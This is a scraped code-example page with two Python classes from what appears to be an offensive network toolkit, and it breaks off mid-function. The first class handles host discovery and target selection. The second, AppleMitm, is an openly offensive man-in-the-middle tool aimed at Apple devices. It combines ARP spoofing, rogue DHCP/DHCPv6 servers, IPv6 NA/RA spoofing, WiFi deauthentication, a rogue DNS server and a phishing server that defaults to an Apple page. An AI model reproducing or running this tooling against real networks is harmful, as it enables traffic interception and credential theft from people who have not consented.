예제 #1
0
class Utils:

    # region Variables
    _base: Base = Base()

    # endregion

    # region Get free IPv4 addresses on interface
    def get_free_ipv4_addresses(self,
                                network_interface: str,
                                first_ipv4_address: Union[None, str] = None,
                                last_ipv4_address: Union[None, str] = None,
                                quiet: bool = False) -> List[str]:
        your = self._base.get_interface_settings(
            interface_name=network_interface,
            required_parameters=[
                'mac-address', 'ipv4-address', 'first-ipv4-address',
                'last-ipv4-address'
            ])
        arp_scan: ArpScan = ArpScan(network_interface=network_interface)
        free_ipv4_addresses: List[str] = list()

        if first_ipv4_address is not None:
            current_ipv4_address: str = self.check_ipv4_address(
                network_interface=network_interface,
                ipv4_address=first_ipv4_address,
                is_local_ipv4_address=True,
                parameter_name='first IPv4 address')
        else:
            current_ipv4_address: str = your['first-ipv4-address']

        if last_ipv4_address is not None:
            last_ipv4_address: str = self.check_ipv4_address(
                network_interface=network_interface,
                ipv4_address=last_ipv4_address,
                is_local_ipv4_address=True,
                parameter_name='last IPv4 address')
        else:
            last_ipv4_address: str = your['last-ipv4-address']

        while self._base.ip_address_compare(current_ipv4_address,
                                            last_ipv4_address, 'le'):
            free_ipv4_addresses.append(current_ipv4_address)
            current_ipv4_address = self._base.ip_address_increment(
                current_ipv4_address)

        if not quiet:
            self._base.print_info('Find free IPv4 addresses on interface: ',
                                  your['network-interface'])
        alive_hosts = arp_scan.scan(
            timeout=5,
            retry=5,
            check_vendor=False,
            exclude_ip_addresses=[your['ipv4-address']],
            exit_on_failure=False,
            show_scan_percentage=False)

        for alive_host in alive_hosts:
            try:
                free_ipv4_addresses.remove(alive_host['ip-address'])
            except ValueError:
                pass

        return free_ipv4_addresses

    # endregion

    # region Set Target MAC- and IPv4-address
    def set_ipv4_target(self,
                        network_interface: str,
                        target_ipv4_address: Union[None, str] = None,
                        target_mac_address: Union[None, str] = None,
                        target_vendor: Union[None, str] = None,
                        target_ipv4_address_required: bool = False,
                        exclude_ipv4_addresses: List[str] = [],
                        quiet: bool = False) -> Dict[str, str]:

        # region Variables
        target: Dict[str, str] = {
            'mac-address': None,
            'ipv4-address': None,
            'vendor': None
        }
        arp_scan: ArpScan = ArpScan(network_interface=network_interface)
        # endregion

        # region Target IPv4 address is Set
        if target_ipv4_address is not None:
            target['ipv4-address'] = self.check_ipv4_address(
                network_interface=network_interface,
                ipv4_address=target_ipv4_address,
                parameter_name='target IPv4 address',
                is_local_ipv4_address=True)
        # endregion

        # region Target IPv4 address not Set
        else:
            assert not target_ipv4_address_required, 'Please set target IPv4 address!'
            if not quiet:
                self._base.print_info('Start ARP scan ...')
            results: List[Dict[str, str]] = arp_scan.scan(
                timeout=3,
                retry=3,
                target_ip_address=None,
                check_vendor=True,
                exclude_ip_addresses=exclude_ipv4_addresses,
                exit_on_failure=True,
                show_scan_percentage=not quiet)
            if target_mac_address is not None:
                target['mac-address'] = self.check_mac_address(
                    mac_address=target_mac_address,
                    parameter_name='target MAC address')
                for result in results:
                    if result['mac-address'] == target['mac-address']:
                        target['ipv4-address'] = result['ip-address']
                        target['vendor'] = result['vendor']
                        break
                assert target['ipv4-address'] is not None, \
                    'Could no found alive host with MAC address: ' + self._base.error_text(target['mac-address'])
                return target

            if target_vendor is not None:
                results_with_vendor: List[Dict[str, str]] = list()
                for result in results:
                    if search(target_vendor, result['vendor'], IGNORECASE):
                        results_with_vendor.append(result)
                results = results_with_vendor

            assert len(results) != 0, \
                'Could not found alive hosts on interface: ' + self._base.error_text(network_interface)
            if len(results) == 1:
                target['ipv4-address'] = results[0]['ip-address']
                target['mac-address'] = results[0]['mac-address']
                target['vendor'] = results[0]['vendor']
                return target
            else:
                if target_vendor is not None:
                    self._base.print_success(
                        'Found ', str(len(results)), ' ' +
                        target_vendor.capitalize() + ' devices on interface: ',
                        network_interface)
                else:
                    self._base.print_success('Found ', str(len(results)),
                                             ' alive hosts on interface: ',
                                             network_interface)
                hosts_pretty_table: PrettyTable = PrettyTable([
                    self._base.cINFO + 'Index' + self._base.cEND,
                    self._base.cINFO + 'IPv4 address' + self._base.cEND,
                    self._base.cINFO + 'MAC address' + self._base.cEND,
                    self._base.cINFO + 'Vendor' + self._base.cEND
                ])
                device_index: int = 1
                for device in results:
                    hosts_pretty_table.add_row([
                        str(device_index), device['ip-address'],
                        device['mac-address'], device['vendor']
                    ])
                    device_index += 1

                print(hosts_pretty_table)
                device_index -= 1
                print(self._base.c_info + 'Select target from range (1-' +
                      str(device_index) + '): ',
                      end='')
                current_device_index = input()

                if not current_device_index.isdigit():
                    self._base.print_error('Your input data: ' +
                                           str(current_device_index) +
                                           ' is not digit!')
                    exit(1)

                if any([
                        int(current_device_index) < 1,
                        int(current_device_index) > device_index
                ]):
                    self._base.print_error(
                        'Your number is not within range (1-' +
                        str(device_index) + ')')
                    exit(1)

                current_device_index = int(current_device_index) - 1
                device: Dict[str, str] = results[current_device_index]
                target['ipv4-address'] = device['ip-address']
                target['mac-address'] = device['mac-address']
                target['vendor'] = device['vendor']
                self._base.print_info(
                    'Your choose target: ', target['ipv4-address'] + ' (' +
                    target['mac-address'] + ')')
                return target
        # endregion

        # region Target MAC address not Set
        if target_mac_address is None:
            self._base.print_info(
                'Find MAC address of device with IP address: ',
                target['ipv4-address'], ' ...')
            target['mac-address'] = arp_scan.get_mac_address(
                target_ip_address=target['ipv4-address'],
                exit_on_failure=True,
                show_scan_percentage=False)
        # endregion

        # region Target MAC address is Set
        else:
            target['mac-address'] = self.check_mac_address(
                mac_address=target_mac_address,
                parameter_name='target MAC address')
        # endregion

        # region Return target
        return target
        # endregion

    # endregion

    # region Set Target MAC- and IPv6-address
    def set_ipv6_target(
            self,
            network_interface: str,
            target_ipv6_address: Union[None, str] = None,
            target_mac_address: Union[None, str] = None,
            target_vendor: Union[None, str] = None,
            target_ipv6_address_is_local: bool = True,
            exclude_ipv6_addresses: List[str] = []) -> Dict[str, str]:

        # region Variables
        target: Dict[str, str] = {
            'mac-address': None,
            'ipv6-address': None,
            'vendor': None
        }
        icmpv6_scan: ICMPv6Scan = ICMPv6Scan(
            network_interface=network_interface)
        # endregion

        # region Target MAC address is Set
        if target_mac_address is not None:
            target['mac-address'] = self.check_mac_address(
                mac_address=target_mac_address,
                parameter_name='target MAC address')
        # endregion

        # region Target IPv6 address not Set
        if target_ipv6_address is None:
            self._base.print_info('Search IPv6 alive hosts ....')
            ipv6_devices = icmpv6_scan.scan(
                timeout=5,
                retry=5,
                target_mac_address=target['mac-address'],
                check_vendor=True,
                exit_on_failure=False,
                exclude_ipv6_addresses=exclude_ipv6_addresses)
            if target_vendor is not None:
                ipv6_devices_with_vendor: List[Dict[str, str]] = list()
                for result in ipv6_devices:
                    if search(target_vendor, result['vendor'], IGNORECASE):
                        ipv6_devices_with_vendor.append(result)
                ipv6_devices = ipv6_devices_with_vendor

            if target_vendor is not None:
                assert len(ipv6_devices) != 0, \
                    'Could not found alive ' + str(target_vendor) + ' IPv6 devices on interface: ' + \
                    self._base.error_text(network_interface)
            else:
                assert len(ipv6_devices) != 0, \
                    'Could not found alive IPv6 devices on interface: ' + \
                    self._base.error_text(network_interface)

            # Target IPv6 and MAC address is not set
            if target['mac-address'] is None:
                if target_vendor is not None:
                    self._base.print_success(
                        'Found ', str(len(ipv6_devices)), ' ' +
                        target_vendor.capitalize() + ' devices on interface: ',
                        network_interface)
                else:
                    self._base.print_success('Found ', str(len(ipv6_devices)),
                                             ' alive hosts on interface: ',
                                             network_interface)
                hosts_pretty_table: PrettyTable = PrettyTable([
                    self._base.cINFO + 'Index' + self._base.cEND,
                    self._base.cINFO + 'IPv6 address' + self._base.cEND,
                    self._base.cINFO + 'MAC address' + self._base.cEND,
                    self._base.cINFO + 'Vendor' + self._base.cEND
                ])
                device_index: int = 1
                for device in ipv6_devices:
                    hosts_pretty_table.add_row([
                        str(device_index), device['ip-address'],
                        device['mac-address'], device['vendor']
                    ])
                    device_index += 1

                print(hosts_pretty_table)
                device_index -= 1
                print(self._base.c_info + 'Select target from range (1-' +
                      str(device_index) + '): ',
                      end='')
                current_device_index = input()

                if not current_device_index.isdigit():
                    self._base.print_error('Your input data: ' +
                                           str(current_device_index) +
                                           ' is not digit!')
                    exit(1)

                if any([
                        int(current_device_index) < 1,
                        int(current_device_index) > device_index
                ]):
                    self._base.print_error(
                        'Your number is not within range (1-' +
                        str(device_index) + ')')
                    exit(1)

                current_device_index = int(current_device_index) - 1
                device: Dict[str, str] = ipv6_devices[current_device_index]
                target['ipv6-address'] = device['ip-address']
                target['mac-address'] = device['mac-address']
                target['vendor'] = device['vendor']
                self._base.print_info(
                    'Your choose target: ', target['ipv6-address'] + ' (' +
                    target['mac-address'] + ')')
                return target

            # Target MAC address is set but target IPv6 is not set
            else:
                for ipv6_device in ipv6_devices:
                    if ipv6_device['mac-address'] == target['mac-address']:
                        target['ipv6-address'] = ipv6_device['ip-address']
                assert target['ipv6-address'] is not None, \
                    'Could not found IPv6 device with MAC address: ' + \
                    self._base.error_text(target['mac-address'])
                return target
        # endregion

        # region Target IPv6 address is Set
        else:
            assert target['mac-address'] is not None, \
                'Target IPv6 address is set: ' + \
                self._base.info_text(target_ipv6_address) + \
                '; Please set target MAC address'

            target['ipv6-address'] = self.check_ipv6_address(
                network_interface=network_interface,
                ipv6_address=target_ipv6_address,
                is_local_ipv6_address=target_ipv6_address_is_local,
                parameter_name='target IPv6 address')
        # endregion

        # region Return target
        return target
        # endregion

    # endregion

    # region Check IPv4 address in local network
    def check_ipv4_address(self,
                           network_interface: str,
                           ipv4_address: str,
                           is_local_ipv4_address: bool = True,
                           parameter_name: str = 'target IPv4 address') -> str:

        network_interface_settings = \
            self._base.get_interface_settings(interface_name=network_interface,
                                              required_parameters=['first-ipv4-address',
                                                                   'last-ipv4-address'])

        example_ipv4_address: str = '8.8.8.8'
        if is_local_ipv4_address:
            example_ipv4_address = self._base.get_random_ip_on_interface(
                interface_name=network_interface)

        assert self._base.ip_address_validation(ipv4_address), \
            'Bad ' + parameter_name.capitalize() + ': ' + self._base.error_text(ipv4_address) + \
            '; example ' + parameter_name.capitalize() + ': ' + self._base.info_text(example_ipv4_address)

        if is_local_ipv4_address:
            assert self._base.ip_address_in_range(ipv4_address,
                                                  network_interface_settings['first-ipv4-address'],
                                                  network_interface_settings['last-ipv4-address']), \
                'Bad ' + parameter_name.capitalize() + ': ' + self._base.error_text(ipv4_address) + \
                '; ' + parameter_name.capitalize() + ' must be in range: ' + \
                self._base.info_text(network_interface_settings['first-ipv4-address'] + ' - ' +
                                     network_interface_settings['last-ipv4-address']) + \
                '; example ' + parameter_name.capitalize() + ': ' + self._base.info_text(example_ipv4_address)
        return ipv4_address

    # endregion

    # region Check IPv6 address
    def check_ipv6_address(self,
                           network_interface: str,
                           ipv6_address: str,
                           is_local_ipv6_address: bool = True,
                           parameter_name: str = 'target IPv6 address',
                           check_your_ipv6_address: bool = True) -> str:

        example_ipv6_address: str = '2001:4860:4860::8888'
        if is_local_ipv6_address:
            example_ipv6_address = 'fe80::1234:5678:90ab:cdef'

        network_interface_settings = \
            self._base.get_interface_settings(interface_name=network_interface,
                                              required_parameters=['mac-address'])

        if network_interface_settings['ipv6-link-address'] is None:
            network_interface_settings['ipv6-link-address'] = \
                self._base.make_ipv6_link_address(mac_address=network_interface_settings['mac-address'])

        if check_your_ipv6_address:
            assert ipv6_address != network_interface_settings['ipv6-link-address'], \
                'Bad ' + parameter_name.capitalize() + ': ' + self._base.error_text(ipv6_address) + \
                '; ' + parameter_name.capitalize() + ' is your link local IPv6 address!'

            assert ipv6_address not in network_interface_settings['ipv6-global-addresses'], \
                'Bad ' + parameter_name.capitalize() + ': ' + self._base.error_text(ipv6_address) + \
                '; ' + parameter_name.capitalize() + ' is your global IPv6 address!'

        assert self._base.ipv6_address_validation(ipv6_address), \
            'Bad ' + parameter_name.capitalize() + ': ' + self._base.error_text(ipv6_address) + \
            '; example ' + parameter_name.capitalize() + ': ' + self._base.info_text(example_ipv6_address)

        if is_local_ipv6_address:
            assert str(ipv6_address).startswith('fe80::'), \
                'Bad ' + parameter_name.capitalize() + ': ' + self._base.error_text(ipv6_address) + \
                '; example ' + parameter_name.capitalize() + ': ' + self._base.info_text(example_ipv6_address)

        return ipv6_address

    # endregion

    # region Check MAC address
    def check_mac_address(self,
                          mac_address: str,
                          parameter_name: str = 'target MAC address') -> str:
        assert self._base.mac_address_validation(mac_address), \
            'Bad ' + parameter_name.capitalize() + ': ' + self._base.error_text(mac_address) + \
            '; example ' + parameter_name.capitalize() + ': ' + self._base.info_text('12:34:56:78:90:ab')
        return str(mac_address).lower()

    # endregion

    # region Check value in range
    def check_value_in_range(self,
                             value: int,
                             first_value: int = 1,
                             last_value: int = 65535,
                             parameter_name: str = 'destination port') -> int:
        assert first_value <= value <= last_value, \
            'Bad ' + parameter_name.capitalize() + ': ' + self._base.error_text(str(value)) + \
            ' ' + parameter_name.capitalize() + ' must be in range: ' + \
            self._base.info_text(str(first_value) + ' - ' + str(last_value))
        return value
예제 #2
0
class AppleMitm:

    # region Variables
    _base: Base = Base(admin_only=True, available_platforms=['Linux', 'Darwin', 'Windows'])
    _utils: Utils = Utils()
    _wifi: Union[None, WiFi] = None
    _icmpv6_router_search: Union[None, ICMPv6RouterSearch] = None

    _mitm_techniques: List[str] = ['ARP Spoofing',
                                   'Second DHCP ACK',
                                   'Predict next DHCP transaction ID',
                                   'Rogue SLAAC/DHCPv6 server',
                                   'NA Spoofing (IPv6)',
                                   'RA Spoofing (IPv6)']
    _mitm_technique: int = 1

    _disconnect_techniques: List[str] = ['IPv4 network conflict detection',
                                         'Send WiFi deauthentication packets',
                                         'Do not disconnect device after MiTM']
    _disconnect_technique: int = 1

    _your: Dict[str, Union[None, str]] = {'network-interface': None,
                                          'mac-address': None,
                                          'ipv4-address': None}

    _gateway: Dict[str, Union[None, str]] = {'ipv4-address': None,
                                             'ipv6-address': None}

    _dns_server: Dict[str, Union[None, str]] = {'ipv4-address': None,
                                                'ipv6-address': None}

    _target: Dict[str, Union[None, str]] = {'mac-address': None,
                                            'ipv4-address': None,
                                            'new-ipv4-address': None,
                                            'ipv6-address': None,
                                            'new-ipv6-address': None}

    _ipv6_network_prefix: str = 'fde4:8dba:82e1:ffff::/64'

    _mtu: int = 1500

    _ipv4_mitm: bool = False
    _ipv6_mitm: bool = False

    _deauth_packets: int = 25
    _deauth_stop: bool = False
    # endregion

    # region Start MiTM
    def start(self,
              mitm_technique: Union[None, int] = None,
              disconnect_technique: Union[None, int] = None,
              mitm_interface: Union[None, str] = None,
              deauth_interface: Union[None, str] = None,
              target_mac_address: Union[None, str] = None,
              target_ipv4_address: Union[None, str] = None,
              target_new_ipv4_address: Union[None, str] = None,
              target_ipv6_address: Union[None, str] = None,
              target_new_ipv6_address: Union[None, str] = None,
              gateway_ipv4_address: Union[None, str] = None,
              gateway_ipv6_address: Union[None, str] = None,
              dns_ipv4_address: Union[None, str] = None,
              dns_ipv6_address: Union[None, str] = None,
              ipv6_prefix: Union[None, str] = None,
              phishing_site: Union[None, str] = None):

        # region Variables
        thread_manager: ThreadManager = ThreadManager(10)

        mitm_network_interface: Union[None, str] = None
        deauth_network_interface: Union[None, str] = None

        disconnect: bool = False
        deauth: bool = False
        # endregion

        # region Kill subprocess
        if self._base.get_platform().startswith('Linux'):
            try:
                self._base.print_info('Stop services: ', 'dnsmasq, network-manager')
                run(['service dnsmasq stop  >/dev/null 2>&1'], shell=True)
                run(['service network-manager stop  >/dev/null 2>&1'], shell=True)
            except OSError:
                self._base.print_error('Something went wrong while trying to stop services:',
                                       'dnsmasq and network-manager')
                exit(1)

        # Kill the processes that listens on 53, 68, 547 UDP port, 80 and 443 TCP ports
        self._base.print_info('Stop processes that listens on UDP ports: ', '53, 68, 547')
        self._base.kill_processes_by_listen_port(53, 'udp')
        self._base.kill_processes_by_listen_port(68, 'udp')
        self._base.kill_processes_by_listen_port(547, 'udp')

        self._base.print_info('Stop processes that listens on TCP ports: ', '80, 443')
        self._base.kill_processes_by_listen_port(80, 'tcp')
        self._base.kill_processes_by_listen_port(443, 'tcp')
        # endregion

        # region MiTM technique selection
        if self._base.get_platform().startswith('Windows') or self._base.get_platform().startswith('Darwin'):
            self._mitm_techniques.remove('Second DHCP ACK')
            self._disconnect_techniques.remove('Send WiFi deauthentication packets')

        if mitm_technique is None:
            self._base.print_info('MiTM technique list:')
            _technique_pretty_table = PrettyTable([self._base.cINFO + 'Index' + self._base.cEND,
                                                   self._base.cINFO + 'MiTM technique' + self._base.cEND])
            for _technique_index in range(len(self._mitm_techniques)):
                _technique_pretty_table.add_row([str(_technique_index + 1),
                                                 self._mitm_techniques[_technique_index]])
            print(_technique_pretty_table)
            print(self._base.c_info + 'Set MiTM technique index from range (1 - ' +
                  str(len(self._mitm_techniques)) + '): ', end='')
            _test_technique = input()
            assert _test_technique.isdigit(), \
                'MiTM technique index is not digit!'
        else:
            _test_technique = mitm_technique
        self._mitm_technique = \
            self._utils.check_value_in_range(value=int(_test_technique),
                                             first_value=1, last_value=len(self._mitm_techniques),
                                             parameter_name='MiTM technique') - 1
        # endregion

        # region Disconnect technique selection
        if self._mitm_techniques[self._mitm_technique] == 'Second DHCP ACK':
            disconnect = True
            deauth = True

        else:
            if disconnect_technique is None:
                self._base.print_info('Disconnect technique list:')
                _disconnect_pretty_table = PrettyTable([self._base.cINFO + 'Index' + self._base.cEND,
                                                        self._base.cINFO + 'Disconnect technique' + self._base.cEND])
                for _technique_index in range(len(self._disconnect_techniques)):
                    _disconnect_pretty_table.add_row([str(_technique_index + 1),
                                                      self._disconnect_techniques[_technique_index]])
                print(_disconnect_pretty_table)
                print(self._base.c_info + 'Set Disconnect technique index from range (1 - ' +
                      str(len(self._disconnect_techniques)) + '): ', end='')
                _test_technique = input()
                assert _test_technique.isdigit(), \
                    'Disconnect technique index is not digit!'
            else:
                _test_technique = disconnect_technique
            self._disconnect_technique = \
                self._utils.check_value_in_range(value=int(_test_technique),
                                                 first_value=1, last_value=len(self._disconnect_techniques),
                                                 parameter_name='Disconnect technique') - 1

            # Do not disconnect device after MiTM
            if self._disconnect_techniques[self._disconnect_technique] == 'Do not disconnect device after MiTM':
                disconnect = False
                deauth = False

            # Use WiFi deauthentication disconnect technique
            elif self._disconnect_techniques[self._disconnect_technique] == 'Send WiFi deauthentication packets':
                disconnect = True
                deauth = True

            # Use IPv4 network conflict disconnect technique
            else:
                disconnect = True
                deauth = False

        # endregion

        # region Get MiTM network interface
        mitm_network_interface = \
            self._base.network_interface_selection(interface_name=mitm_interface,
                                                   message='Please select a network interface for '
                                                           'MiTM Apple devices from table: ')
        self._your = self._base.get_interface_settings(interface_name=mitm_network_interface,
                                                       required_parameters=['mac-address', 'ipv4-address'])
        if self._your['ipv6-link-address'] is None:
            self._your['ipv6-link-address'] = self._base.make_ipv6_link_address(self._your['mac_address'])
        # endregion

        # region Get Deauth network interface
        if deauth:
            assert mitm_network_interface in self._base.list_of_wireless_network_interfaces(), \
                'Network interface: ' + self._base.error_text(mitm_network_interface) + ' is not Wireless!'

            assert len(self._base.list_of_wireless_network_interfaces()) <= 1, \
                'You have only one wireless interface: ' + self._base.info_text(mitm_network_interface) + \
                '; to send WiFi deauth packets you need a second wireless interface!'

            assert self._your['essid'] is not None \
                   and self._your['bssid'] is not None \
                   and self._your['channel'] is not None, \
                'Network interface: ' + self._base.error_text(mitm_network_interface) + ' does not connect to AP!'

            # region Set network interface for send wifi deauth packets
            deauth_network_interface = \
                self._base.network_interface_selection(interface_name=deauth_interface,
                                                       exclude_interface=mitm_network_interface,
                                                       only_wireless=True,
                                                       message='Please select a network interface for '
                                                               'send WiFi deauth packets from table: ')

            self._wifi = WiFi(wireless_interface=deauth_network_interface,
                              wifi_channel=self._your['channel'], debug=False, start_scan=False)

        # endregion

        # region Check IPv4 or IPv6 mitm
        if self._mitm_techniques[self._mitm_technique] in \
                ['ARP Spoofing', 'Second DHCP ACK', 'Predict next DHCP transaction ID']:
            self._ipv4_mitm = True
        elif self._mitm_techniques[self._mitm_technique] in \
                ['Rogue SLAAC/DHCPv6 server', 'NA Spoofing (IPv6)', 'RA Spoofing (IPv6)']:
            self._ipv6_mitm = True
        # endregion

        # region Set IPv4 DNS server
        if self._ipv4_mitm:
            if dns_ipv4_address is not None:
                self._dns_server['ipv4-address'] = \
                    self._utils.check_ipv4_address(network_interface=mitm_network_interface,
                                                   ipv4_address=dns_ipv4_address,
                                                   is_local_ipv4_address=False,
                                                   parameter_name='DNS server IPv4 address')
            else:
                self._dns_server['ipv4-address'] = self._your['ipv4-address']
        # endregion

        # region Set IPv6 DNS server
        if self._ipv6_mitm:
            if dns_ipv6_address is not None:
                self._dns_server['ipv6-address'] = \
                    self._utils.check_ipv6_address(network_interface=mitm_network_interface,
                                                   ipv6_address=gateway_ipv6_address,
                                                   is_local_ipv6_address=False,
                                                   parameter_name='gateway IPv6 address',
                                                   check_your_ipv6_address=False)
            else:
                self._dns_server['ipv6-address'] = self._your['ipv6-link-address']
        # endregion

        # region Set IPv4 gateway
        if self._ipv4_mitm:
            if gateway_ipv4_address is not None:
                self._gateway['ipv4-address'] = \
                    self._utils.check_ipv4_address(network_interface=mitm_network_interface,
                                                   ipv4_address=gateway_ipv4_address,
                                                   is_local_ipv4_address=True,
                                                   parameter_name='gateway IPv4 address')
            else:
                if self._mitm_techniques[self._mitm_technique] == 'ARP Spoofing':
                    assert self._your['ipv4-gateway'] is not None, \
                        'Network interface: ' + self._base.error_text(mitm_network_interface) + \
                        ' does not have IPv4 gateway!'
                    self._gateway['ipv4-address'] = self._your['ipv4-gateway']
                else:
                    self._gateway['ipv4-address'] = self._your['ipv4-address']
        # endregion

        # region Set IPv6 gateway
        if self._ipv6_mitm:
            if gateway_ipv6_address is not None:
                self._gateway['ipv6-address'] = \
                    self._utils.check_ipv6_address(network_interface=mitm_network_interface,
                                                   ipv6_address=gateway_ipv6_address,
                                                   is_local_ipv6_address=True,
                                                   parameter_name='gateway IPv6 address',
                                                   check_your_ipv6_address=False)
            else:
                if self._mitm_techniques[self._mitm_technique] == 'Rogue SLAAC/DHCPv6 server':
                    self._gateway['ipv6-address'] = self._your['ipv6-link-address']
                else:
                    self._base.print_info('Search IPv6 Gateway and DNS server on interface: ', mitm_network_interface)
                    self._icmpv6_router_search: ICMPv6RouterSearch = \
                        ICMPv6RouterSearch(network_interface=mitm_network_interface)
                    _router_advertisement_data = \
                        self._icmpv6_router_search.search(timeout=5, retry=3, exit_on_failure=True)

                    assert _router_advertisement_data is not None, \
                        'Can not find IPv6 gateway in local network on interface: ' + \
                        self._base.error_text(mitm_network_interface)

                    self._gateway['ipv6-address'] = _router_advertisement_data['router_ipv6_address']

                    if 'dns-server' in _router_advertisement_data.keys():
                        self._dns_server['ipv6-address'] = _router_advertisement_data['dns-server']

                    if 'prefix' in _router_advertisement_data.keys():
                        self._ipv6_network_prefix = _router_advertisement_data['prefix']
                    elif ipv6_prefix is not None:
                        self._ipv6_network_prefix = ipv6_prefix

                    if 'mtu' in _router_advertisement_data.keys():
                        self._mtu = int(_router_advertisement_data['mtu'])
        # endregion

        # region Set target IPv4 address and new IPv4 address
        if self._ipv4_mitm:
            self._target = \
                self._utils.set_ipv4_target(network_interface=mitm_network_interface,
                                            target_ipv4_address=target_ipv4_address,
                                            target_mac_address=target_mac_address,
                                            target_vendor='apple',
                                            target_ipv4_address_required=False,
                                            exclude_ipv4_addresses=[self._your['ipv4-gateway']])

            # region Set target new IPv4 address
            if self._mitm_techniques[self._mitm_technique] == 'Predict next DHCP transaction ID':
                if target_new_ipv4_address is not None:
                    self._target['new-ipv4-address'] = \
                        self._utils.check_ipv4_address(network_interface=mitm_network_interface,
                                                       ipv4_address=target_new_ipv4_address,
                                                       is_local_ipv4_address=True,
                                                       parameter_name='target new IPv4 address')
                else:
                    _free_ipv4_addresses = \
                        self._utils.get_free_ipv4_addresses(network_interface=mitm_network_interface)
                    self._target['new-ipv4-address'] = choice(_free_ipv4_addresses)
            # endregion
        
        # endregion

        # region Set target IPv6 address and new IPv6 address
        if self._ipv6_mitm:
            self._target = \
                self._utils.set_ipv6_target(network_interface=mitm_network_interface,
                                            target_ipv6_address=target_ipv6_address,
                                            target_mac_address=target_mac_address,
                                            target_vendor='apple',
                                            target_ipv6_address_is_local=True,
                                            exclude_ipv6_addresses=[self._your['ipv6-gateway']])

            # region Get target IPv4 address
            try:
                ipv4_target: Dict[str, str] = \
                    self._utils.set_ipv4_target(network_interface=mitm_network_interface,
                                                target_ipv4_address=None,
                                                target_mac_address=self._target['mac-address'],
                                                quiet=True)
                self._target['ipv4-address'] = ipv4_target['ipv4-address']
            except AssertionError:
                pass
            # endregion

            # region Set target new IPv6 address
            if self._mitm_techniques[self._mitm_technique] == 'Rogue SLAAC/DHCPv6 server':
                if target_new_ipv6_address is not None:
                    self._target['new-ipv6-address'] = \
                        self._utils.check_ipv6_address(network_interface=mitm_network_interface,
                                                       ipv6_address=target_new_ipv4_address,
                                                       is_local_ipv6_address=False,
                                                       parameter_name='target new global IPv6 address',
                                                       check_your_ipv6_address=True)
                else:
                    self._target['new-ipv6-address'] = \
                        self._ipv6_network_prefix.split('/')[0] + format(randint(1, 65535), 'x')
            # endregion

        # endregion

        # region General output
        self._base.print_info('MiTM technique: ', self._mitm_techniques[self._mitm_technique])
        self._base.print_info('Disconnect technique: ', self._disconnect_techniques[self._disconnect_technique])
        self._base.print_info('Network interface: ', mitm_network_interface)
        self._base.print_info('Your MAC address: ', self._your['mac-address'])

        # region IPv4 MiTM
        if self._ipv4_mitm:
            self._base.print_info('Your IPv4 address: ', self._your['ipv4-address'])
            self._base.print_info('Gateway IPv4 address: ', self._gateway['ipv4-address'])

            if self._mitm_techniques[self._mitm_technique] != 'ARP Spoofing':
                self._base.print_info('DNS server IPv4 address: ', self._dns_server['ipv4-address'])

            if self._target['mac-address'] is not None:
                self._base.print_info('Target MAC address: ', self._target['mac-address'])

            if self._target['ipv4-address'] is not None:
                self._base.print_info('Target IPv4 address: ', self._target['ipv4-address'])

            if 'new-ipv4-address' in self._target.keys():
                if self._target['new-ipv4-address'] is not None:
                    self._base.print_info('Target new IPv4 address: ', self._target['new-ipv4-address'])
        # endregion
        
        # region IPv6 MiTM
        if self._ipv6_mitm:
            self._base.print_info('Your IPv6 local address: ', self._your['ipv6-link-address'])
            self._base.print_info('Prefix: ', self._ipv6_network_prefix)
            self._base.print_info('Gateway IPv6 address: ', self._gateway['ipv6-address'])
            self._base.print_info('DNS server IPv6 address: ', self._dns_server['ipv6-address'])

            if self._target['mac-address'] is not None:
                self._base.print_info('Target MAC address: ', self._target['mac-address'])

            if 'ipv4-address' in self._target.keys():
                if self._target['ipv4-address'] is not None:
                    self._base.print_info('Target IPv4 address: ', self._target['ipv4-address'])

            if self._target['ipv6-address'] is not None:
                self._base.print_info('Target IPv6 address: ', self._target['ipv6-address'])

            if 'new-ipv6-address' in self._target.keys():
                if self._target['new-ipv6-address'] is not None:
                    self._base.print_info('Target new global IPv6 address: ', self._target['new-ipv6-address'])
        # endregion
        
        # region WiFi info
        if deauth:
            self._base.print_info('Interface ', mitm_network_interface, 
                                  ' connected to: ', self._your['essid'] + ' (' + self._your['bssid'] + ')')
            self._base.print_info('Interface ', mitm_network_interface, ' channel: ', self._your['channel'])
            self._base.print_info('Deauth network interface: ', deauth_network_interface)
        # endregion
        
        # endregion

        # region Start DNS server
        if self._dns_server['ipv4-address'] == self._your['ipv4-address'] or \
                self._dns_server['ipv6-address'] == self._your['ipv6-link-address']:
            self._base.print_info('Start DNS server ...')
            thread_manager.add_task(self._start_dns_server)
        # endregion

        # region Disconnect device
        if disconnect:
            thread_manager.add_task(self._disconnect_device, deauth)
        # endregion

        # region Start IPv4 MiTM
        if self._ipv4_mitm:
            
            # region 1. ARP spoofing technique
            if self._mitm_techniques[self._mitm_technique] == 'ARP Spoofing':
                thread_manager.add_task(self._arp_spoof)
            # endregion
    
            # region 2. Second DHCP ACK technique
            elif self._mitm_techniques[self._mitm_technique] == 'Second DHCP ACK':
                thread_manager.add_task(self._dhcpv4_server)
            # endregion
    
            # region 3. Predict next DHCP transaction ID
            elif self._mitm_techniques[self._mitm_technique] == 'Predict next DHCP transaction ID':
                thread_manager.add_task(self._apple_dhcpv4_server)
            # endregion
        
        # endregion

        # region Start IPv6 MiTM
        if self._ipv6_mitm:
        
            # region 4. Rogue SLAAC/DHCPv6 server
            if self._mitm_techniques[self._mitm_technique] == 'Rogue SLAAC/DHCPv6 server':
                thread_manager.add_task(self._dhcpv6_server)
            # endregion
    
            # region 5. NA Spoofing (IPv6)
            elif self._mitm_techniques[self._mitm_technique] == 'NA Spoofing (IPv6)':
                thread_manager.add_task(self._na_spoof)
            # endregion
    
            # region 6. RA Spoofing (IPv6)
            elif self._mitm_techniques[self._mitm_technique] == 'RA Spoofing (IPv6)':
                thread_manager.add_task(self._ra_spoof)
            # endregion
        
        # endregion

        # region Start Phishing server
        if phishing_site is None:
            phishing_site = 'apple'
        thread_manager.add_task(self._start_ipv4_phishing, phishing_site)
        thread_manager.add_task(self._start_ipv6_phishing, phishing_site)
        # endregion

        # region Wait all threads
        thread_manager.wait_for_completion()
        # endregion

    # endregion

    # region Disconnect device
    def _disconnect_device(self, deauth: bool = False):

        if not deauth:
            # Start Network Conflict Creator (ncc)
            ncc: NetworkConflictCreator = NetworkConflictCreator(network_interface=self._your['network-interface'])
            try:
                ncc.start(target_mac_address=self._target['mac-address'],
                          target_ip_address=self._target['ipv4-address'],
                          exit_on_success=True)
            except KeyError:
                pass
        else:
            # Start WiFi deauth packets sender
            self._deauth_stop_sniffer()
            number_of_deauth_packets: int = self._deauth_packets
            while self._deauth_stop:
